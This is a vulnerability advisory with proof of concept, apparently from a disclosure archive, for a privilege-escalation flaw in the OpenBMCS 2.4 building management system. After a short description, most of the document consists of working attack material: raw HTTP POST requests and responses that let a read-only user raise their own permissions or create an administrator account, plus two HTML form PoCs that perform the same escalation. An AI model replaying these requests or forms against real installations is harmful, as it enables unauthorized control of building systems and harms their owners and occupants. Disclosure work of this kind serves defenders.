OpenBMCS 2.4 Remote Privilege Escalation

`  
OpenBMCS 2.4 Create Admin / Remote Privilege Escalation  
  
  
Vendor: OPEN BMCS  
Product web page: https://www.openbmcs.com  
Affected version: 2.4  
  
Summary: Building Management & Controls System (BMCS). No matter what the  
size of your business, the OpenBMCS software has the ability to expand to  
hundreds of controllers. Our product can control and monitor anything from  
a garage door to a complete campus wide network, with everything you need  
on board.  
  
Desc: The application suffers from an insecure permissions and privilege  
escalation vulnerability. A regular user can create administrative users  
and/or elevate her privileges by sending an HTTP POST request to specific  
PHP scripts in '/plugins/useradmin/' directory.  
  
Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)  
Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)  
Apache/2.4.41 (Ubuntu)  
Apache/2.4.25 (Debian)  
nginx/1.16.1  
PHP/7.4.3  
PHP/7.0.33-0+deb9u9  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2022-5693  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php  
  
  
26.10.2021  
  
--  
  
  
List current ID and permissions (read):  
---------------------------------------  
  
POST /plugins/useradmin/getUserDetails.php HTTP/1.1  
Host: 192.168.1.222  
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4  
Content-Length: 16  
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://192.168.1.222  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://192.168.1.222/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
id_list%5B%5D=17  
  
  
HTTP/1.1 200 OK  
Date: Tue, 16 Nov 2021 20:56:53 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Length: 692  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
[{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]  
  
  
  
List current ID and permissions (admin):  
----------------------------------------  
  
POST /plugins/useradmin/getUserDetails.php HTTP/1.1  
Host: 192.168.1.222  
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4  
Content-Length: 16  
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://192.168.1.222  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://192.168.1.222/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
id_list%5B%5D=18  
  
HTTP/1.1 200 OK  
Date: Tue, 16 Nov 2021 20:56:36 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Length: 725  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
[{"user_id":"18","username":"testingus2","email":"[email protected]","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]  
  
  
  
Escalate privileges:  
--------------------  
  
POST /plugins/useradmin/update_user_permissions.php HTTP/1.1  
Host: 192.168.1.222  
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4  
Content-Length: 702  
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://192.168.1.222  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://192.168.1.222/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5BmoduleID%5D=useradmin&id=17  
  
  
HTTP/1.1 200 OK  
Date: Tue, 16 Nov 2021 20:58:48 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 1  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
2  
  
  
  
Create admin from read user:  
----------------------------  
  
POST /plugins/useradmin/create_user.php HTTP/1.1  
Host: 192.168.1.222  
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4  
Content-Length: 1010  
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://192.168.1.222  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://192.168.1.222/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
user%5Busername%5D=testingus2&user%5Bfullname%5D=TestName&user%5Bphone%5D=1112223333&user%5Bpassword%5D=Password123&user%5BpasswordConfirm%5D=Password123&user%5Bemail%5D=testingus%40test.tld&user%5Bexpiry%5D=&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5Bmod_home%5D=0&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5Bmod_home%5D=0&permissions%5B6%5D%5BmoduleID%5D=useradmin&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5Bmod_home%5D=0  
  
  
HTTP/1.1 200 OK  
Date: Tue, 16 Nov 2021 20:18:58 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 20  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
{"status":"success"}  
  
  
  
PoC escalate from editor to admin:  
----------------------------------  
  
<html>  
<body>  
<form action="https://192.168.1.222/plugins/useradmin/update_user_permissions.php" method="POST">  
<input type="hidden" name="permissions[0][permissions]" value="3" />  
<input type="hidden" name="permissions[0][moduleID]" value="alarms" />  
<input type="hidden" name="permissions[0][mod_home]" value="1" />  
<input type="hidden" name="permissions[1][permissions]" value="2" />  
<input type="hidden" name="permissions[1][moduleID]" value="controllers" />  
<input type="hidden" name="permissions[1][mod_home]" value="1" />  
<input type="hidden" name="permissions[2][permissions]" value="1" />  
<input type="hidden" name="permissions[2][moduleID]" value="core" />  
<input type="hidden" name="permissions[3][permissions]" value="4" />  
<input type="hidden" name="permissions[3][moduleID]" value="graphics" />  
<input type="hidden" name="permissions[3][mod_home]" value="1" />  
<input type="hidden" name="permissions[4][permissions]" value="3" />  
<input type="hidden" name="permissions[4][moduleID]" value="history" />  
<input type="hidden" name="permissions[4][mod_home]" value="1" />  
<input type="hidden" name="permissions[5][permissions]" value="3" />  
<input type="hidden" name="permissions[5][moduleID]" value="progtool" />  
<input type="hidden" name="permissions[6][permissions]" value="4" />  
<input type="hidden" name="permissions[6][moduleID]" value="useradmin" />  
<input type="hidden" name="id" value="17" />  
<input type="submit" value="Esc" />  
</form>  
</body>  
</html>  
  
  
  
PoC create admin from editor:  
-----------------------------  
  
<html>  
<body>  
<form action="https://192.168.1.222/plugins/useradmin/create_user.php" method="POST">  
<input type="hidden" name="user[username]" value="testingus2" />  
<input type="hidden" name="user[fullname]" value="TestName" />  
<input type="hidden" name="user[phone]" value="1112223333" />  
<input type="hidden" name="user[password]" value="Password123" />  
<input type="hidden" name="user[passwordConfirm]" value="Password123" />  
<input type="hidden" name="user[email]" value="[email protected]" />  
<input type="hidden" name="user[expiry]" value="" />  
<input type="hidden" name="permissions[0][moduleID]" value="alarms" />  
<input type="hidden" name="permissions[0][permissions]" value="3" />  
<input type="hidden" name="permissions[0][mod_home]" value="1" />  
<input type="hidden" name="permissions[1][moduleID]" value="controllers" />  
<input type="hidden" name="permissions[1][permissions]" value="2" />  
<input type="hidden" name="permissions[1][mod_home]" value="1" />  
<input type="hidden" name="permissions[2][moduleID]" value="core" />  
<input type="hidden" name="permissions[2][permissions]" value="1" />  
<input type="hidden" name="permissions[2][mod_home]" value="0" />  
<input type="hidden" name="permissions[3][moduleID]" value="graphics" />  
<input type="hidden" name="permissions[3][permissions]" value="4" />  
<input type="hidden" name="permissions[3][mod_home]" value="1" />  
<input type="hidden" name="permissions[4][moduleID]" value="history" />  
<input type="hidden" name="permissions[4][permissions]" value="3" />  
<input type="hidden" name="permissions[4][mod_home]" value="1" />  
<input type="hidden" name="permissions[5][moduleID]" value="progtool" />  
<input type="hidden" name="permissions[5][permissions]" value="3" />  
<input type="hidden" name="permissions[5][mod_home]" value="0" />  
<input type="hidden" name="permissions[6][moduleID]" value="useradmin" />  
<input type="hidden" name="permissions[6][permissions]" value="4" />  
<input type="hidden" name="permissions[6][mod_home]" value="0" />  
<input type="submit" value="Cre" />  
</form>  
</body>  
</html>  
`